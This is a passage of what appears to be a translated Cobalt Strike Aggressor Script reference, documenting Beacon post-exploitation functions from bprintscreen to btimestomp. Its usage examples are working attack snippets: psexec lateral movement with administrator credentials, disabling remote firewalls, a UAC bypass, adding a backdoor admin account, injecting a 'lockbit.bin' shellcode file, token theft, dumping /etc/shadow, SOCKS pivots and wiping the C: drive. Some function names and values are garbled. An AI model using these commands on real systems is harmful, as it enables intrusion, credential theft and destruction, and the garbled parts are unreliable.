      "printscreen"); bpintscreen($1);

}
```

Implementation in the specified process

```
bprintscreen($1, 1234, "x64");
```

bps

Instructs the Beacon to list the processes.

Options

```
bps($1);
```

Prints the result to the Beacon's console.

```
bps($1, &callback);
```

Redirects the results to the specified callback function.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - optional callback function with ps results. The callback arguments are: $1 = beacon id, $2 = results

Example

```
on beacon_initial { bps($1); }
```

bpsexec

Requests the Beacon to spawn a payload on the remote host. This function generates an Artifact Kit executable, copies it to the target, and creates a service to run it. Cleaning is also included.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - target to spawn payload

$3 - Listener to spawn

$4 - network share to copy the executable file to

$5 - payload architecture for generation/delivery (x86 or x64)

Example

```
brev2self();
bloginuser($1, "CORP", "Administrator", "toor"); bpsexec($1, "172.16.48.3",
"listener", "ADMIN\$");
```

bpsexec_command

Requests the Beacon to execute a command on a remote host. This function creates a service on the remote host, starts it, and exits.

Arguments $1
is the Beacon ID. This can be an array or a single identifier $2 - the target on which the

command will be executed $3 - the name of the service

to create

$4 - command to execute

Example

```
# disable firewall on remote target # beacon> shieldsdown
[target] alias shieldsdown {

      bpsexec_command($1, $2, "shieldsdn", "cmd.exe /c netsh advfirewall set
allprofiles state off"); }
```

bpsexec_psh

REMOVED Removed in Cobalt Strike 4.0. Use &bjump with the psexec_psh option.

bpsinject

Injects unmanaged PowerShell into the specified process and runs the specified cmdlet.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - process for injecting the session

$3 - process architecture (x86 | x64)

$4 - cmdlet to run

Example

```
bpsinject($1, 1234, x64, "[System.Diagnostics.Process]::GetCurrentProcess ()");
```

bpwd

Asks the Beacon to display its current working directory.

Arguments $1 is
the Beacon ID. It can be an array or a single id

Example

```
alias pwd
{ bpwd($1); }
```

breg_query

Instructs the Beacon to query the registry for a key.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - path to key

$3 - x86|x64 - which kind of registry to use

Example

```
alias typedurls
      { breg_query($1, "HKCU\\Software\\Microsoft\\Internet
Explorer\\TypedURLs", "x86"); }
```

breg_queryv

Instructs the Beacon to query the value of a registry key.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - path to key

$3 - the name of the value to look up

$4 - x86|x64 - which kind of registry to use

Example

```
alias winver
{ breg_queryv($1, "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion",
 "ProductName", "x86"); }
```

bremote_exec

Requests the Beacon to execute a command on a remote target.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - remote execution method

$3 - remote target

$4 - command and arguments to execute

Example

```
# winrm [target] [command+args] alias winrm-exec {

      bremote_exec($1, "winrm", $2, $3); {
}
```

See also
&beacon_remote_exec_method_describe, &beacon_remote_exec_method_register, &beacon_remote_exec_methods

brev2self

Requests the Beacon to reset its current token. This calls the Win32 API RevertToSelf().

Arguments $1 is
the Beacon ID. It can be an array or a single id

Example

```
alias rev2self
{ brev2self($1); }
```

brm

Asks the Beacon to delete a file or folder.

Arguments $1 is
the Beacon ID. It can be an array or a single identifier $2 - the file or folder to be deleted

Example

```
# destroy the system brm($1, "c:\
\");
```

brportfwd

Asks the Beacon to configure reverse port forward.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - port to bind to the target

$3 - host to redirect connections

$4 - port for redirecting connections

Example

```
brportfwd($1, 80, "192.168.12.88", 80);
```

brportfwd_local

Asks the Beacon to set up a reverse port forward, which is routed by the current Cobalt Strike client.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - port to bind to the target

$3 - host to redirect connections

$4 - port for redirecting connections

Example

```
brportfwd_local($1, 80, "192.168.12.88", 80);
```

brportfwd_stop

Requests the Beacon to stop reverse port forward.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - port bound to the target

Example

```
brportfwd_stop($1, 80);
```

brown

Asks the Beacon to execute a command.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - command and arguments to execute

Note This function is a simpler version of &beacon_execute_job. &bpowershell and &bshell are based on the &beacon_execute_job function . It's (slightly) safer from an OPSEC point of view to execute commands and get output from them.

Example

```
alias w
	{ brun($1, "whoami /all");
}
```

brunas

Asks the Beacon to run a command as another user.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - user domain

$3 - username

$4 - user password

$5 - command to execute

Example

```
brunas($1, "CORP", "Administrator", "xss", "notepad.exe");
```

brunasadmin

Asks the Beacon to execute a command in a high-integrity context (bypassing UAC).

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - command and its arguments

Notes This
command uses token duplication to bypass UAC. This bypass has several conditions: l Your user must be a local

administrator.

- If the **Always Notify** option is enabled, a valid high-integrity process must be running in the current desktop session.

Example

```
# disable firewall brunasadmin($1,
"cmd.exe /C netsh advfirewall set allprofiles state off");
```

bruno

Requests the Beacon to run a process within another process.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - PID of the parent process

$3 - command + arguments to execute

Example

```
brunu($1, 1234, "notepad.exe");
```

bscreenshot

Requests a Beacon to take a screenshot.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - PID for implementing the screenshot tool

$3 - target PID architecture (x86|x64)

Example

Spawning a Temporary Process

```
item "&Screenshot" { binput($1,
"screenshot"); bscreenshot($1); }
```

Implementation in the specified process

```
bscreenshot($1, 1234, "x64");
```

bscreenwatch

Instructs Beacon to take screenshots at specific times.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID for implementing the screenshot tool

$3 - target PID architecture (x86|x64)

Example

Create a temporary process

```
item "&Screenwatch" { binput($1,
      "screenwatch"); bscreenwatch($1);

}
```

Implementation in the specified process

```
bscreenwatch($1, 1234, "x64");
```

bsetenv

Asks the Beacon to set an environment variable.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - environment variable to be set $3 - value for the environment

variable (specify $null to clear the variable's value)

Example

```
alias tryit { bsetenv($1,
"best_forum", "xss!"); bshell($1, "echo %best_forum%"); }
```

bshell

Asks the Beacon to execute a command using cmd.exe.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - command and arguments to execute

Example

```
alias adduser { bshell($1,
"net user $2 B00gyW00gy1234! /ADD");
        bshell($1, "net localgroup \"Administrators\" $2 /ADD");
}
```

bshinject

Injecting shellcode (from a local file) into a specific process.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - PID of the process to deploy

$3 - process architecture (x86 | x64)

$4 - local file with shellcode

Example

```
bshinject($1, 1234, "x86", "/path/to/lockbit.bin");
```

bshspawn

Spawning shellcode (from a local file) into a separate process. This function uses the Beacon's configuration to create post-operational jobs (eg spawnto, ppid, etc.).

Arguments

$1 is the Beacon ID. It can be an array or a single identifier $2 - process architecture (x86 | x64)
$3 - local shellcode file

Example

```
bshspawn($1, "x86", "/path/to/stuff.bin");
```

bsleep

Requests the Beacon to change the interval between transmissions and the jitter factor.

Arguments $1 is
the Beacon ID. This can be an array or a single identifier $2 - number of **seconds** between data

transfers $3 - jitter factor (0-99)

Example

```
alias stealthy { # sleep
      for 1 hour with 30% jitter bsleep($1, 60 * 60, 30);

}
```

bsocks

Starts a SOCKS proxy bound to a Beacon.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - port to bind

$3 - SOCKS version (SOCKS4|SOCKS5) Default: SOCKS4

SOCKS 5 only:

$4 - enable/disable NoAuth authentication (enableNoAuth|disableNoAuth) Default: enableNoAuth $5
- username for authentication (empty|

username) Default: empty

$6 - password for authentication (empty|password) Default: Empty $7 - enable logging

(enableLogging|disableLogging) Default: disableLogging

Example

```
alias socksPorts {
      bsocks($1, 10401);
      bsocks($1, 10402, "SOCKS4"); bsocks($1,
      10501, "SOCKS5"); bsocks($1, 10502,
      "SOCKS5" "enableNoAuth", "", "",
"disableLogging"); bsocks($1,
            10503, "SOCKS5" "enableNoAuth", "myname",
```

```
"mypassword", "disableLogging"); bsocks($1,
10504, "SOCKS5" "disableNoAuth", "myname", "mypassword", "enableLogging"); }
```

bsocks_stop

Stops SOCKS proxies bound to the specified Beacon.

Arguments $1 is
the Beacon ID. It can be an array or a single id

Example

```
alias stopsocks
{ bsocks_stop($1); }
```

bspawn

Instructs the Beacon to create a new session.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - Listener for the target

$3 - process architecture (default is Beacon's current architecture)

Example

```
item
"&Spawn" { openPayloadHelper(lambda({ binput($bids,
            "spawn x86 $1"); bspawn($bids, $1, "x86"); },
            $bids => $1));

}
```

bspawnas

Instructs the Beacon to create a session on behalf of another user.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - user domain

$3 - username

$4 - user password

$5 - Listener to spawn

Example

```
bspawnas($1, "CORP", "Administrator", "toor", "listener");
```

bspawnto

Changes the default program that Beacon spawns to implement its functionality.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - architecture for which we are changing the value of the spawnto parameter (x86, x64)

$3 - program for spawning

Notes The value
you specify for spawnto must work in x86->x86, x86->x64, x64->x86, and x64->x86 contexts. It's pretty hard. Follow these rules and you'll be fine:

1. Always specify the full path to the program you want Beacon to spawn for your post-operational tasks.

2. Environment variables (for example, %windir%) in these paths are allowed. 3. Do not

specify %windir%\system32 or c:\windows\system32 directly. Always use syswow64 (x86) and sysnative (x64). Beacon will adjust these values under system32 if needed. 4. For the x86 spawnto value, you must specify an x86 program. For

x64 value spawnto x64 program.

Example

```
# Let's turn everything into complete nonsense on beacon_initial {

    binput($1, "prep session with new spawnto values."); bspawnto($1, "x86",
    "%windir%\\syswow64\\notepad.exe"); bspawnto($1, "x64", "%windir%\\sysnative\
    \notepad.exe");
}
```

bspawnu

Requests the Beacon to spawn a session within another process.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - the process within which this session will be generated

$3 - Listener to spawn

Example

```
bspawnu($1, 1234, "listener");
```

bspunnel

Spawns and tunnels an agent through the given Beacon (through target reverse port forward for localhost only).

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - controller host

$3 - controller port

$4 - file with position-independent code to be executed in a temporary process

Example

```
bspunnel($1, "127.0.0.1", 4444, script_resource("agent.bin"));
```

bspunnel_local

Spawns and tunnels an agent through the given Beacon (through target reverse port forward for localhost only). Note: This reverse port forward tunnel goes through the chain of beacons to the command and control server and, through the command server, is passed to the requesting CobaltStrike client.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - controller host

$3 - controller port

$4 - file with position-independent code to be executed in a temporary process

Example

```
bspunnel_local($1, "127.0.0.1", 4444, script_resource("agent.bin"));
```

bssh

Asks the Beacon to create an SSH session.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - IP address or hostname of the target

$3 - port (for example, 22)

$4 - username

$5 - password

$6 - PID for SSH client injection or $null

$7 - target PID architecture (x86|x64) or $null

Example

Create a temporary process

```
bssh($1, "172.16.20.128", 22, "root", "toor");
```

Implementation in the specified process

```
bssh($1, "172.16.20.128", 22, "root", "toor", 1234, "x64");
```

bssh_key

Asks the Beacon to create an SSH session using the data in the key file. The key file must be in PEM format. If this file is not in PEM format, make a copy of it and convert it with the following command:

/usr/bin/ssh-keygen -f [/path/to/copy] -e -m pem -p

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - IP address or hostname of the target

$3 - port (for example, 22)

$4 - username

$5 - key (as a string)

$6 - PID for SSH client injection or $null

$7 - target PID architecture (x86|x64) or $null

Example

```
alias myssh { $pid =
        $2; $arch = $3;
        $handle = openf("/
        path/to/key.pem"); $keydata = readb($handle, -1);
        closef($handle);


if ($pid >= 0 && ($arch eq "x86" || $arch eq "x64")) { bssh_key($1, "172.16.20.128",
22, "root", $keydata, $pid, $ arch ); } else { bssh_key($1, "172.16.20.128", 22, "root", $keydata); } };
```

bstage

DELETED DELETED This feature has been removed in Cobalt Strike 4.0. Use &beacon_stage_tcp or &beacon_stage_pipe for explicit payload staging. Use &beacon_link to link to it.

bsteal_token

Instructs the Beacon to steal the token from the process.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID to retrieve the token

```
Usage: bsteal_token [pid] bsteal_token [pid]
                        <OpenProcessToken Access Token>

Suggested OpenProcessToken access token values: blank =
default(TOKEN_ALL_ACCESS)
0 = TOKEN_ALL_ACCESS
11 = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY(1+2+8)
Access mask values:
STANDARD_RIGHTS_REQUIRED . . . . : 983040
TOKEN_ASSIGN_PRIMARY . . . . . : 1
TOKEN_DUPLICATE . . . . . : 2
TOKEN_IMPERSONATE . . . . . :
TOKEN_QUERY . . . . . 4 : 8
TOKEN_QUERY_SOURCE . . . . . : 16
TOKEN_ADJUST_PRIVILEGES . . . . : 32
TOKEN_ADJUST_GROUPS . . . . . : 64 :
TOKEN_ADJUST_DEFAULT . . . . . 128
TOKEN_ADJUST_SESSIONID . . . . . : 256
```

NOTE: The
OpenProcessToken access token can be useful for stealing tokens from processes running under user 'SYSTEM' and if you get this error: Could not open process token: {pid} (5)

You can set the default value you want with '.steal_token_access_mask' in the global settings of Malleable C2.

Example

```
alias steal_token
    { bsteal_token($1, int($2));
}
```

bsudo

Asks the Beacon to execute a command via sudo (for SSH sessions only).

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - password for the current user

$3 - command and arguments to execute

Example

```
# hashdump [password]
ssh_alias hashdump { bsudo($1,
      $2, "cat /etc/shadow");
}
```

btask

Informs about the completion of the task for Beacon'a. This quest confirmation will also add information to Cobalt Strike's activity report and session report.

Arguments $1 -
Beacon ID to post $2 - Text to post

$3 - string with identifiers for MITER ATT&CK tactics. Use a comma and a space to specify multiple identifiers on the same line

https://attack.mitre.org

Example

```
alias foo
      { btask($1, "User tasked beacon to foo", "T1015");
}
```

btimestomp

Asks the Beacon to change the modification/access/creation time of a file to match another file.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - file for updating timestamps

$3 - file to get timestamps from